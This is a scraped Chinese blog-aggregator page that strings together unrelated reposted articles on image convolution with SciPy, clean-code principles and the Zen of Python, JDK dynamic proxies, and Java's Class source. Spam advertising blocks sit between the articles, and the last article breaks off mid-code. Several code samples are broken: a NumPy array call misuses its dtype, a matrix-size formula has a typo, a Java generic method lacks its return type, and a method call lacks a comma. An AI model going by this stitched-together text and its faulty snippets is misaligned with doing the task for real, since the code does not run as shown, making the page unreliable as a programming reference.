圖像處理中的valid卷積與same卷積

valid卷積

在full卷積的卷積過程中,會遇到\(K_{flip}\)靠近I的邊界(K矩陣與I矩陣),就會有部分延申到I之外,這時候忽略邊界,只考慮I完全覆蓋\(K_{flip}\)內的值情況,這個的過程就是valid卷積。一個高為H1,寬為W1的矩陣I與高為H2,寬為W2的矩陣K,在H1大於等於H2,W1大於等於W2的情況下,valid卷積的結果就是一個(H1-H2+1)*(W-W+1)的矩陣\(C_{valid}\)

\[C_{valid}與C_{full}的對應關係為: C_{valid} = C_{full}( Rect (W_{2}-1,H_{2}-1,W_{1}-W_{2}+1,H_{1}-H_{2}+1) ) \]

same卷積

無論是full卷積還是valid卷積都不會得到正好的尺寸,要麼比原尺寸大要麼比原尺寸小,這時就需要same卷積來解決這個問題。若想得到寬和高都正好的矩陣我們首先需要給\(K_{flip}\)一個錨點,將錨點放在(循環)圖像矩陣的(r,c)處,((r,c)在矩陣之內),將對應位置的元素逐個相乘,最終將所有的積進行求和作為輸出圖像矩陣在(r,c)處的輸出值。這個過程稱為same卷積。
OpenCv函數copyMakeBorder的參數表

參數 解釋
src 輸入矩陣
dst 輸出矩陣
top 上側擴充的行數
bottom 下側擴充的行數
left 左側擴充的行數
right 右側擴充的行數
borderType 邊界擴充的類型
value border Type= BORDER_CONSTANT事的常數

其中borderType有多種類型,比如:BORDER_REPLICATE(邊界複製)、BORDER_CONSTANT(常數擴充)、BORDER_REFLECT(反射擴充)等。
在使用Python進行卷積操作時用到包Scipy,其中有關的操作函數為convolve2d(in1,in2,mode=’full’,boundary=’fill’,fillvalue=0)

參數 解釋
in1 輸入數組
in2 輸入數組,代表K(卷積算子)
mode 卷積類型,也就是以上提到的三種類型:full,valid,same
boundary 邊界填充:fill\wrap\symm
fillvalue 當boundary=’fill’時,設置邊界填充的值,默認為0

在這裏需要注意的是當model為same時卷積算子的錨點位置由不同尺寸而不同,假設K(卷積算子)的寬和高分別為W、H。

W和H的值 錨點位置
均為奇數 默認為中心點
H為偶數、W為奇數 (H-1,(W-1)/2)
H為奇數,W為偶數 ((H-1)/2,W-1)
均為偶數 (H-1,W-1)

代碼實現:

import numpy as np
from scipy import signal

if __name__ == "__main__":

    I = np.array([[1,2],[3,4],np.float32])
    #I的高和寬
    H1,W1 = I.shape[:2]
    #卷積算子
    k = np.array([[-1,-2],[2,1],np.float32])
    #K的寬和高
    H2,W2 = k.shape[:2]
    #計算full卷積
    c_full = signal.convolve2d(I,k,mode='full')
    #設定錨點
    r,c = 0,0
    #根據錨點來從full卷積中截取same卷積
    c_same= c_full[H2-r-1:H1-r-1,W2-c-1:W1+W2-c-1]

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

編碼的道與禪

該文章發布在github中,如果您覺得寫的還不錯的話,可以 star 一下進行支持,傳送門:TechShare。

Bob 大叔在《代碼整潔之道》一書的前言打趣着說,當你寫的代碼在經受代碼審查時,如果審查者憤怒的吼道“What the fuck is this shit?”等言辭激烈的詞語時,那說明你寫的是 Bad Code;如果審查者只是漫不經心的吐出幾個“What the fuck?”,那說明你寫的是 Good Code。這就是衡量代碼質量的唯一標準——每分鐘罵出“What the fuck?”的頻率。

想寫出整潔的代碼很難,有一部分原因在於糟糕的代碼太容易編寫。想快點完成任務時,考慮不周全時,忽略安全時,隨意命名時,參數過多時,嵌套太深時,未及時更改註釋時,違反法則時,重複你自己時等等情形,我們有太多的機會來製造糟糕的代碼。只有嚴肅對待自己的代碼,了解哪些事情會使我們的代碼變味,才有可能寫出整潔的代碼。

寫代碼和寫文章在某種程度上有相似之處,好的文章一定有好的可讀性,寫代碼也一樣,只有優美乾淨的代碼才能具有良好的可讀性。編寫具有可讀性的代碼不光是保持有意義的命名就行,如果你想成為一名更好的程序員,寫代碼時你需要注意的有很多,比如:

  1. 規範本地變量的位置
  2. 使函數盡量短小
  3. 調用者盡可能放在被調用者上面
  4. 保持代碼擁有良好的格式
  5. 編寫只做一件事的函數
  6. 函數參數不要超過三個
  7. 暴露時序耦合
  8. 使用異常代替返回錯誤碼

除此之外,你還須牢記眾多設計原則,如:

  1. 開放封閉原則(OCP)
  2. 迪米特法則
  3. 依賴倒置原則(DIP)
  4. 單一職責原則(SRP)
  5. 里氏替換原則(LSP)
  6. 不要重複(DRY)
  7. 你不會需要它(YAGNI)

當然僅有這些是不夠的,這不是騎自行車,學寫整潔代碼得花許多功夫,必須不斷實踐,從失敗中提取代碼的壞味道並從中得到啟發。

編寫整潔代碼,你需要牢記並遵守很多東西,但這並不是循規蹈矩和刻板,而是對簡單之美、代碼之美的追求。代碼整潔之道,是編寫優秀代碼的一種方法,其核心是儘力使代碼保持簡單——Keep It Simple, Stupid。判斷一個人寫的代碼的好壞,不是看它的代碼寫的有多複雜,而是看他有沒有把複雜的事物抽象出來並用簡單的方式去描述它,此外這個人對代碼的態度也至關重要,大多數時候我們並不能從一開始就把代碼寫的很完美,當我們需要快速做出一個原型,或者一開始代碼看起來不錯,但新的需求使現有的設計無法滿足,如果不對設計進行改動的話,那麼代碼就會變的醜陋,如果你熱愛自己正在做的事情,崇尚代碼之美,那麼你就會有足夠的動力去重構它、完善它,而不是破壞結構使代碼腐爛。

保持簡單、追求簡單,我想這就是編碼之中的禪意,一種追求本真的境界。這種禪在 Python 的設計哲學中體現的淋漓盡致,讓我們在 Python 解釋器中輸入“import this”,來看看經典的 Python 之禪。

  • Beautiful is better than ugly.
    優美勝於醜陋。
  • Explicit is better than implicit.
    顯式勝於隱式。
  • Simple is better than complex.
    簡單勝於複雜。
  • Complex is better than complicated.
    複雜勝於難懂。
  • Flat is better than nested.
    扁平勝於嵌套。
  • Sparse is better than dense.
    分散勝於密集。
  • Readability counts.
    可讀性應當被重視。
  • Special cases aren’t special enough to break the rules. Although practicality beats purity.
    儘管實用性會打敗純粹性,特例也不能凌駕於規則之上。
  • Errors should never pass silently. Unless explicitly silenced.
    除非明確地使其沉默,錯誤永遠不應該默默地溜走。
  • In the face of ambiguity, refuse the temptation to guess.
    面對不明確的定義,拒絕猜測的誘惑。
  • There should be one– and preferably only one –obvious way to do it.
    用一種方法,最好只有一種方法來做一件事。
  • Although that way way not be obvious at first unless you’re Dutch.
    雖然一開始這種方法並不是顯而易見的,但誰叫你不是Python之父呢。
  • Now is better than never. Although never is often better than right now.
    做比不做好,但立馬去做有時還不如不做。
  • If the implementation is hard to explain, it’s a bad idea.
    如果實現很難說明,那它是個壞想法。
  • If the implementation is easy to explain, it may be a good idea.
    如果實現容易解釋,那它有可能是個好想法。
  • Namespaces are one honking great idea – let’s do more of those!
    命名空間是個絕妙的想法,讓我們多多地使用它們吧!

道着重於方法,禪着重於態度,讓我們把這兩者相結合,做一個有追求的程序員,為成為軟件匠人而奮鬥吧。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

網頁設計最專業,超強功能平台可客製化

面試必問系列之JDK動態代理

掃描文末二維碼或者微信搜索公眾號小李不禿,即可關注微信公眾號,獲取到更多 Java 相關內容。

1. 帶着問題去學習

面試中經常會問到關於 Spring 的代理方式有哪兩種?大家異口同聲的回答:JDK 動態代理和 CGLIB 動態代理。

這兩種代理有什麼區別呢?JDK 動態代理的類通過接口實現,CGLIB 動態代理是通過子類來實現的。

那 JDK 動態代理你了到底了解多少呢?有去看過代理對象的 class 文件么?下面兩個關於 JDK 動態代理的問題你能回答上來么?

  • 問題1:為什麼 JDK 動態代理要基於接口實現?而不是基於繼承來實現?
  • 問題2:JDK 動態代理中,目標對象調用自己的另一個方法,會經過代理對象么

小李帶着大家更深入的了解一下 JDK 的動態代理。

2. JDK 動態代理的寫法

  • JDK 動態代理需要這幾部分內容:接口、實現類、代理對象。
  • 代理對象需要繼承 InvocationHandler,代理類調用方法時會調用 InvocationHandlerinvoke 方法。
  • Proxy 是所有代理類的父類,它提供了一個靜態方法 newProxyInstance 動態創建代理對象。
public interface IBuyService {
     void buyItem(int userId);
     void refund(int nums);
}

 

@Service
public class BuyServiceImpl implements IBuyService {
    @Override
    public void buyItem(int userId) {
        System.out.println("小李不禿要買東西!小李不禿的id是: " + userId);
    }
    @Override
    public void refund(int nums) {
        System.out.println("商品過保質期了,需要退款,退款數量 :" + nums);
    }
}

 

public class JdkProxy implements InvocationHandler {

    private Object target;
    public JdkProxy(Object target) {
        this.target = target;
    }
    // 方法增強
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        before(args);
        Object result = method.invoke(target,args);
        after(args);
        return result;
    }
    private void after(Object result) { System.out.println("調用方法后執行!!!!" ); }
    private void before(Object[] args) { System.out.println("調用方法前執行!!!!" ); }

    // 獲取代理對象
    public <T> getProxy(){
        return (T) Proxy.newProxyInstance(target.getClass().getClassLoader(),
                target.getClass().getInterfaces(),this);
    }
}

 

public class JdkProxyMain {
    public static void main(String[] args) {
        // 標明目標 target 是 BuyServiceImpl
        JdkProxy proxy = new JdkProxy(new BuyServiceImpl());
        // 獲取代理對象實例
        IBuyService buyItem = proxy.getProxy();
        // 調用方法
        buyItem.buyItem(12345);
    }
}

查看運行結果

調用方法前執行!!!!
小李不禿要買東西!小李不禿的id是: 12345
調用方法后執行!!!!

我們完成了對目標方法的增強,開始對代理對象進行一個更全面的分析。

3. 剖析代理對象並解答問題

剖析代理對象的前提得是有代理對象,動態代理的對象是在運行時期創建的,我們就沒辦法通過打斷點的方式進行分析了。但是我們可以通過反編譯 .class 文件進行分析。如何獲取到 .class 文件呢?

通過在代碼中添加:System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true") ,就能夠實現將動態代理對象的 class 文件寫入到磁盤中。代碼如下:

public class JdkProxyMain {
    public static void main(String[] args) {
        // 代理對象的 class 文件寫入到磁盤中
        System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles""true");
        // 標明目標 target 是 BuyServiceImpl
        JdkProxy proxy = new JdkProxy(new BuyServiceImpl());
        // 獲取代理對象實例
        IBuyService buyItem = proxy.getProxy();
        // 調用方法
        buyItem.buyItem(12345);
    }
}

在項目的根目錄下多了一個 $Proxy0.class 文件

看一下這個文件的內容

public final class $Proxy0 extends Proxy implements IBuyService {
    private static Method m1;
    private static Method m3;
    private static Method m2;
    private static Method m4;
    private static Method m0;

    public $Proxy0(InvocationHandler var1) throws  {
        super(var1);
    }

    public final boolean equals(Object var1) throws  {
        try {
            return (Boolean)super.h.invoke(this, m1, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final void buyItem(int var1) throws  {
        try {
            super.h.invoke(this, m3, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final String toString() throws  {
        try {
            return (String)super.h.invoke(this, m2, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final void refund(int var1) throws  {
        try {
            super.h.invoke(this, m4, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final int hashCode() throws  {
        try {
            return (Integer)super.h.invoke(this, m0, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    static {
        try {
            m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
            m3 = Class.forName("com.example.springtest.service.IBuyService").getMethod("buyItem", Integer.TYPE);
            m2 = Class.forName("java.lang.Object").getMethod("toString");
            m4 = Class.forName("com.example.springtest.service.IBuyService").getMethod("refund", Integer.TYPE);
            m0 = Class.forName("java.lang.Object").getMethod("hashCode");
        } catch (NoSuchMethodException var2) {
            throw new NoSuchMethodError(var2.getMessage());
        } catch (ClassNotFoundException var3) {
            throw new NoClassDefFoundError(var3.getMessage());
        }
    }
}

動態代理對象 $Proxy0 繼承了 Proxy 類並且實現了 IBuyService 接口。那問題 1 的答案就出來了:動態代理對象默認繼承了 Proxy 對象,而且 Java 不支持多繼承,所以 JDK 動態代理要基於接口來實現。

$Proxy0 重寫了 IBuyService 接口的方法,還有 Object 的方法。在重寫的方法中,統一調用 super.h.invoke 方法。super 指的是 Proxyh 代表 InvocationHandler,這裏就是 JdkProxy。所以這裏調用的是 JdkProxyinvoke 方法。

所以每次調用 buyItem 方法的時候,會先打印出 調用方法前執行!!!!

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
before(args);
// 通過反射調用方法
Object result = method.invoke(target,args);
after(args);
return result;
}
private void after(Object result) { System.out.println("調用方法后執行!!!!" ); }
private void before(Object[] args) { System.out.println("調用方法前執行!!!!" ); }

問題 2 還沒解決呢,接着往下看

@Service
public class BuyServiceImpl implements IBuyService {
    @Override
    public void buyItem(int userId) {
        System.out.println("小李不禿要買東西!小李不禿的id是: " + userId);
        refund(100);
    }
    @Override
    public void refund(int nums) {
        System.out.println("商品過保質期了,需要退款,退款數量 :" + nums);
    }
}

上面這段代碼中,在 buyItem 調用內部的 refund 方法,那這個內部調用方法是否走代理對象呢?看一下執行結果:

調用方法前執行!!!!
小李不禿要買東西!小李不禿的id是: 12345
商品過保質期了,需要退款,退款數量 :100
調用方法后執行!!!!

確實是沒有走代理對象,其實我們期待的結果是下面這樣的

調用方法前執行!!!!
小李不禿要買東西!小李不禿的id是: 12345
調用方法前執行!!!!
商品過保質期了,需要退款,退款數量 :100
調用方法后執行!!!!
調用方法后執行!!!!

那為什麼會造成這種差異呢?

因為內部調用 refund 方法的調用,相當於 this.refund(100),而這個 this 指的是 BuyServiceImpl 對象,而不是代理對象,所以refund 方法沒有得到增強

4. 總結和延伸

  • 本篇文章了解了 JDK 動態代理的使用,通過分析 JDK 動態代理生成對象的 class 文件,解決了兩個問題:

    • 問題1:為什麼 JDK 動態代理要基於接口實現?而不是基於繼承來實現?
    • 解答:因為 JDK 動態代理生成的對象默認是繼承 Proxy ,Java 不支持多繼承,所以 JDK 動態代理要基於接口來實現。
    • 問題2:JDK 動態代理中,目標對象調用自己的另一個方法,會經過代理對象么
    • 解答:內部調用方法使用的對象是目標對象本身,被調用的方法不會經過代理對象。
  • 我們知道了 JDK 動態代理內部調用是不走代理對象的。那對於 @Transactional 和 @Async 等註解不起作用是不是就搞清楚為啥了?

  • 因為 @Transactional@Async 等註解是通過 Spring AOP 來進行實現的,如果動態代理使用的是 JDK 動態代理,那麼在方法的內部調用該方法中其它帶有該註解的方法,由於此時調用的不是動態代理對象,所以註解失效

  • 上面這些問題就是 JDK 動態代理的缺點,那 Spring 如何避免這個問題呢?就是另個一個動態代理:CGLIB 動態代理,我會在下篇文章進行分析。

5. 參考

  • https://juejin.im/post/5d8a0799f265da5b7a752e7c#heading-6
  • https://blog.csdn.net/varyall/article/details/102952365

6. 猜你喜歡

  • JSON的學習和使用

  • 學習反射看這一篇就夠了

  • 併發編程學習(一)Java 內存模型

掃描下方二維碼即可關注微信公眾號小李不禿,一起高效學習 Java。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※教你寫出一流的銷售文案?

看了Java的Class的源碼,我自閉了

java源碼之Class

​ 源碼的重要性不言而喻,雖然枯燥,但是也有拍案叫絕。這是我的源碼系列第二彈,後續還會一直更新,歡迎交流。String源碼可以看我的Java源碼之String,如有不足,希望指正。

1.class這個類是什麼

Class的本質也是一個類,只不過它是將我們定義類的共同的部分進行抽象,比如我們常定義的類都含有構造方法,類變量,函數,而Class這個類就是來操作這些屬性和方法的。當然我們常定義的類包含的類型都可以通過Class間接的來操作。而類的類型包含一般的類,接口,枚舉類型,註解類型等等。這麼說可能有點太理論,我們看下面這個例子:

我們將生活中的一類事物抽象為一個類的時候,往往是因為他們具有相同的共性和不同的個性。定義一個類的作用就是將相同的共性抽離出來。一般的類都包含屬性和方法(行為),下面我們定義水果和汽車這兩個大類:

代碼如下:

汽車類:

class Car{

    // 定義屬性
    private String name;
    private String color;

    /**
     * 定義兩個構造方法
     */
    public Car(){

    }

    public Car(String name,String color){
        this.name = name;
        this.color = color;
    }

    /**
     * 定義兩個普通方法(行為)
     */
    public void use(){
        
    }
    
    public void run(){
        
    }

    /**
     * 屬性的get和set方法
     * @return
     */
    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getColor() {
        return color;
    }

    public void setColor(String color) {
         this.color = color;
    }
}


水果類:

class Fruit{

    // 定義屬性
    private String name;
    private int size;

    /**
     * 定義兩個構造方法
     */
    public Fruit(){

    }

    public Fruit(String name,int size){
        this.name = name;
        this.size =size;
    }

    /**
     * 定義兩個方法(行為)
     */
    public void use(){
        
    }
    
    public void doFruit(){
        
    }

    /**
     * 屬性的get和set方法
     * @return
     */
    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getSize() {
        return size;
    }

    public void setSize(int size) {
        this.size = size;
    }
}

可以看到水果和汽車這兩個類都有共同的部分,也就是一個類共同的部分,那就是屬性和方法,而Class就是來操作我們定義類的屬性和方法。

​小試牛刀:通過Class這個類來獲取Fruit這個類中定義的方法;

public static void main(String[] args) {

        Fruit fruit = new Fruit();
        Class fruitClass = fruit.getClass();

        Method[] fruitMethods = fruitClass.getMethods();
        System.out.println("方法個數:" + fruitMethods.length);

        for (Method method : fruitMethods) {
            //得到返回類型
            System.out.print("方法名稱和參數:" + method.getName() + "(");
            //取得某個方法對應的參數類型數組
            Class[] paramsType = method.getParameterTypes();
            for (Class paramType : paramsType) {
                System.out.print(paramType.getTypeName() + " ");
            }
            System.out.print(")");

            Class returnType = method.getReturnType();
            System.out.println("返回類型:" + returnType.getTypeName());
        }
    }

運行結果:

方法個數:15
方法名稱和參數:getName()返回類型:java.lang.String
方法名稱和參數:setName(java.lang.String )返回類型:void
方法名稱和參數:getSize()返回類型:int
方法名稱和參數:setSize(int )返回類型:void
方法名稱和參數:use()返回類型:void
方法名稱和參數:doFruit()返回類型:void
方法名稱和參數:wait()返回類型:void
方法名稱和參數:wait(long int )返回類型:void
方法名稱和參數:wait(long )返回類型:void
方法名稱和參數:equals(java.lang.Object )返回類型:boolean
方法名稱和參數:toString()返回類型:java.lang.String
方法名稱和參數:hashCode()返回類型:int
方法名稱和參數:getClass()返回類型:java.lang.Class
方法名稱和參數:notify()返回類型:void
方法名稱和參數:notifyAll()返回類型:void

這裏可能有人疑惑了,Fruit類並沒有定義的方法為什麼會出現,如wait(),equals()方法等。這裏就有必要說一下java的繼承和反射機制。在繼承時,java規定每個類默認繼承Object這個類,上述這些並沒有在Fruit中定義的方法,都是Object中的方法,我們看一下Object這個類的源碼就會一清二楚:

 public String toString() {
        return getClass().getName() + "@" + Integer.toHexString(hashCode());
    }

 public final native void wait(long timeout) throws InterruptedException;

 public final void wait() throws InterruptedException {
        wait(0);
    }

而Class類中的getMethods()方法默認會獲取父類中的公有方法,也就是public修飾的方法。所以Object中的公共方法也出現了。

注: 要想獲得父類的所有方法(public、protected、default、private),可以使用apache commons包下的FieldUtils.getAllFields()可以獲取類和父類的所有(public、protected、default、private)屬性。

是不是感覺非常的強大 ,當然,使用Class來獲取一些類的方法和屬性的核心思想就是利用了Java反射特性。萬物皆反射,可見反射的強大之處,至於反射的原理,期待我的下一個博客。

2.常用方法的使用以及源碼分析

2.1構造方法

源碼如下:

 private Class(ClassLoader loader) {
        // Initialize final field for classLoader.  The initialization value of non-null
        // prevents future JIT optimizations from assuming this final field is null.
        classLoader = loader;
    }

可以看到Class類只有一個構造函數,並且是私有的。也就是說不能通過new來創建這個類的實例。官方文檔的解釋:私有構造函數,僅Java虛擬機創建Class對象。我想可能就是為了安全,具體原因不是很了解。如果有了解的話,可以在評論區內共同的交流。

Class是怎麼獲取一個實例的。

那麼既然這個class構造器私有化,那我們該如何去構造一個class實例呢,一般採用下面三種方式:

1.運用.class的方式來獲取Class實例。對於基本數據類型的封裝類,還可以採用.TYPE來獲取相對應的基本數據類型的Class實例,如下的示例。

 // 普通類獲取Class的實例。接口,枚舉,註解,都可以通過這樣的方式進行獲得Class實例
Class fruitClass = Fruit.class;

// 基本類型和封裝類型獲得Class實例的方式,兩者等效的
Class intClass = int.class;
Class intClass1 = Integer.TYPE;

下面的表格兩邊等價:

boolean.class Boolean.TYPE
char.class Character.TYPE
byte.class Byte.TYPE
short.class Short.TYPE
int.class Integer.TYPE
long.class Long.TYPE
float.class Float.TYPE
double.class Double.TYPE
void.class Void.TYPE

但是這種方式有一個不足就是對於未知的類,或者說不可見的類是不能獲取到其Class對象的。

2.利用對象.getClass()方法獲取該對象的Class實例;

這是利用了Object提供的一個方法getClass() 來獲取當著實例的Class對象,這種方式是開發中用的最多的方式,同樣,它也不能獲取到未知的類,比如說某個接口的實現類的Class對象。

Object類中的getClass()的源碼如下:

public final native Class<?> getClass();

源碼說明:

可以看到,這是一個native方法(一個Native Method就是一個java調用非java代碼的接口),並且不允許子類重寫,所以理論上所有類型的實例都具有同一個 getClass 方法。

使用:

 Fruit fruit = new Fruit();
 Class fruitClass = fruit.getClass();

3.使用Class類的靜態方法forName(),用類的名字獲取一個Class實例(static Class forName(String className) ),這種方式靈活性最高,根據類的字符串全名即可獲取Class實例,可以動態加載類,框架設計經常用到;

源碼如下:

    /*
     由於方法區 Class 類型信息由類加載器和類全限定名唯一確定,所以參數name必須是全限定名,
     參數說明   name:class名,initialize是否加載static塊,loader 類加載器
     */
    public static Class<?> forName(String name, boolean initialize,
                                   ClassLoader loader)
        throws ClassNotFoundException
    {
        Class<?> caller = null;
        
        // 1.進行安全檢查
        SecurityManager sm = System.getSecurityManager();
        if (sm != null) {
           ....
            }
        }
        // 2.調用本地的方法
        return forName0(name, initialize, loader, caller);
    }
   
    // 3.核心的方法
    private static native Class<?> forName0(String name, boolean initialize,
                                            ClassLoader loader,
                                            Class<?> caller)
      throws ClassNotFoundException;

   /* 
    這個 forName是上述方法的重載,平時一般都使用這個 方法默認使用調用者的類加載器,將類的.class文件加載     到 jvm中
    這裏傳入的initialize為true,會去執行類中的static塊
    */
    public static Class<?> forName(String className)
                throws ClassNotFoundException {
        Class<?> caller = Reflection.getCallerClass();
        return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
    }

源碼說明已在註釋中說明,有些人會疑惑, static native Class<?> forName0()這個方法的實現。

這就要說到java的不完美的地方了,Java的不足除了體現在運行速度上要比傳統的C++慢許多之外,Java無法直接訪問到操作系統底層(如系統硬件等),為此Java使用native方法來擴展Java程序的功能。有關native的方法請移步這裏。

基本使用:

 Class fruitClass = Class.forName("cn.chen.test.util.lang.Fruit");

: 這種方式必須使用類的全限定名,,這是因為由於方法區 Class 類型信息由類加載器和類全限定名唯一確定,否則會拋出ClassNotFoundException的異常。

2.2一般方法以及源碼分析:

Class類的一般的方法總共有六十多種,其實看到這麼多方法咱也不要慫,這裏面還有很多重載的方法,根據二八原則,我們平時用的也就那麼幾個方法,所以這裏只對以下幾個方法的使用和實現進行交流,其他的方法可以移步Java官方文檔:

2.2.1 獲得類的構造方法

這個方法主要是用來了解一個類的構造方法有哪些,包含那些參數,特別是在單例的模式下。一般包含的方法如下:

  • public Constructor[] getConstructors() :獲取類對象的所有可見的構造函數

  • public Constructor[] getDeclaredConstructors():獲取類對象的所有的構造函數

  • public Constructor getConstructor(Class… parameterTypes): 獲取指定的可見的構造函數,參數為:指定構造函數的參數類型數組,如果該構造函數不可見或不存在,會拋出 NoSuchMethodException 異常

  • public Constructor getDeclaredConstructor(Class… parameterTypes) :獲取指定的構造函數,參數為:指定構造函數的參數類型數組,無論構造函數可見性如何,均可獲取

基本使用:

Constructor[] constructors = fruitClass.getConstructors();
 for (Constructor constructor : constructors) {
            System.out.println("獲得共有的構造方法:"+constructor);
        }

輸出結果:

獲得共有的構造方法:public cn.chen.test.util.lang.Fruit()
獲得共有的構造方法:public cn.chen.test.util.lang.Fruit(java.lang.String,int)

可以看到我們前面定義的來個構造方法,都被打印出來了。注意getConstructors()只能獲得被public修飾的構造方法,如果要獲得被(protected,default,private)修飾的構造方法,就要使用的getDeclaredConstructors()這個方法了。接下來,修改Fruit中的一個構造方法為private:

 private  Fruit(String name,int size){
        this.name = name;
        this.size =size;
    }

使用getConstructors()和getDeclaredConstructors()着兩個方法進行測試:

       Class fruitClass = Fruit.class;       
       Constructor[] constructors = fruitClass.getConstructors();
       Constructor[] constructors1 = fruitClass.getDeclaredConstructors();

        for (Constructor constructor : constructors) {
            System.out.println("獲得共有的構造方法:"+constructor);
        }

        System.out.println("=================================================");
        for (Constructor constructor : constructors1) {
            System.out.println("獲得所有的構造方法:"+constructor);
        }

輸出結果:

獲得共有的構造方法:public cn.chen.test.util.lang.Fruit()
===================分隔線=============================
獲得所有的構造方法:public cn.chen.test.util.lang.Fruit()
獲得所有的構造方法:private cn.chen.test.util.lang.Fruit(java.lang.String,int)

可以看到兩者的區別。所以,反射在一定程度上破壞了java的封裝特性。畢竟人無完人,語言亦是一樣。

getConstructors()的源碼分析:

public Constructor<?>[] getConstructors() throws SecurityException {
          
        // 1.檢查是否允許訪問。如果訪問被拒絕,則拋出SecurityException。
        checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);
        return copyConstructors(privateGetDeclaredConstructors(true));
    }
    
 private static <U> Constructor<U>[] copyConstructors(Constructor<U>[] arg) {
      // 2.使用克隆,得到當前類的所有構造函數   
      Constructor<U>[] out = arg.clone();
     // 3.使用ReflectionFactory構造一個對象,也是不使用構造方法構造對象的一種方式。
        ReflectionFactory fact = getReflectionFactory();
     // 4.遍歷,將構造函數進行拷貝返回,注意在調用fact.copyConstructor(out[i])這個方法的時候,還會進行安全檢查,用的就是下面的LangReflectAccess() 這個方法。
        for (int i = 0; i < out.length; i++) {
            out[i] = fact.copyConstructor(out[i]);
        }
        return out;
    }



 private static LangReflectAccess langReflectAccess() {
        if (langReflectAccess == null) {
            Modifier.isPublic(1);
        }

        return langReflectAccess;
    } 

通過打斷點調試,可以看到下面的信息:

代碼的調用邏輯在註釋里已進行說明。

2.2.2 獲得屬性

主要獲取類的屬性字段,了解這個類聲明了那些字段。

一般有四個方法:

  • public Field[] getFields():獲取所有可見的字段信息,Field數組為類中聲明的每一個字段保存一個Field 實例
  • public Field[] getDeclaredFields():獲取所有的字段信息
  • public Field getField(String name) :通過字段名稱獲取字符信息,該字段必須可見,否則拋出異常
  • public Field getDeclaredField(String name) :通過字段名稱獲取可見的字符信息

基本使用:

首先我們在Fruit的類中加入一個public修飾的屬性:

    public double weight;
Class fruitClass = Fruit.class; 
Field[] field2 = fruitClass.getFields();
        for (Field field : field2) {
            System.out.println("定義的公有屬性:"+field);
        }

        Field[] fields = fruitClass.getDeclaredFields();
        for (Field field : fields) {
            System.out.println("定義的所有屬性:"+field);
        }

輸出結果:

定義的公有屬性:public double cn.chen.test.util.lang.Fruit.weight
========================分隔線============================
定義的所有屬性:private java.lang.String cn.chen.test.util.lang.Fruit.name
定義的所有屬性:private int cn.chen.test.util.lang.Fruit.size
定義的所有屬性:public double cn.chen.test.util.lang.Fruit.weight

源碼分析,就以getFileds()這個方法為例,涉及以下幾個方法:

public Field[] getFields() throws SecurityException {
        // 1.檢查是否允許訪問。如果訪問被拒絕,則拋出SecurityException。
        checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);
        return copyFields(privateGetPublicFields(null));
    }
 
 private static Field[] copyFields(Field[] arg) {
         // 2. 聲明一個Filed的數組,用來存儲類的字段 
        Field[] out = new Field[arg.length];
        //  3.使用ReflectionFactory構造一個對象,也是不使用構造方法構造對象的一種方式。
        ReflectionFactory fact = getReflectionFactory();
       // 4.遍歷,將字段複製后返回。
        for (int i = 0; i < arg.length; i++) {
            out[i] = fact.copyField(arg[i]);
        }
        return out;
    }
    
 public Field copyField(Field var1) {
        return langReflectAccess().copyField(var1);
    }
 
// 再次檢查屬性的訪問權限
  private static LangReflectAccess langReflectAccess() {
        if (langReflectAccess == null) {
            Modifier.isPublic(1);
        }

        return langReflectAccess;
    }

2.2.3 獲得一般方法

就是獲取一個類中的方法,一般有以下幾個方法:

  • public Method[] getMethods(): 獲取所有可見的方法

  • public Method[] getDeclaredMethods() :獲取所有的方法,無論是否可見

  • public Method getMethod(String name, Class… parameterTypes)

    參數說明:

  1. 通過方法名稱、參數類型獲取方法
  2. 如果你想訪問的方法不可見,會拋出異常
  3. 如果你想訪問的方法沒有參數,傳遞 null作為參數類型數組,或者不傳值)
  • public Method getDeclaredMethod(String name, Class… parameterTypes)
  1. 通過方法名稱、參數類型獲取方法
  2. 如果你想訪問的方法沒有參數,傳遞 null作為參數類型數組,或者不傳值)

基本使用:

//在fruit中定義一個這樣的方法
 private  void eat(String describe){
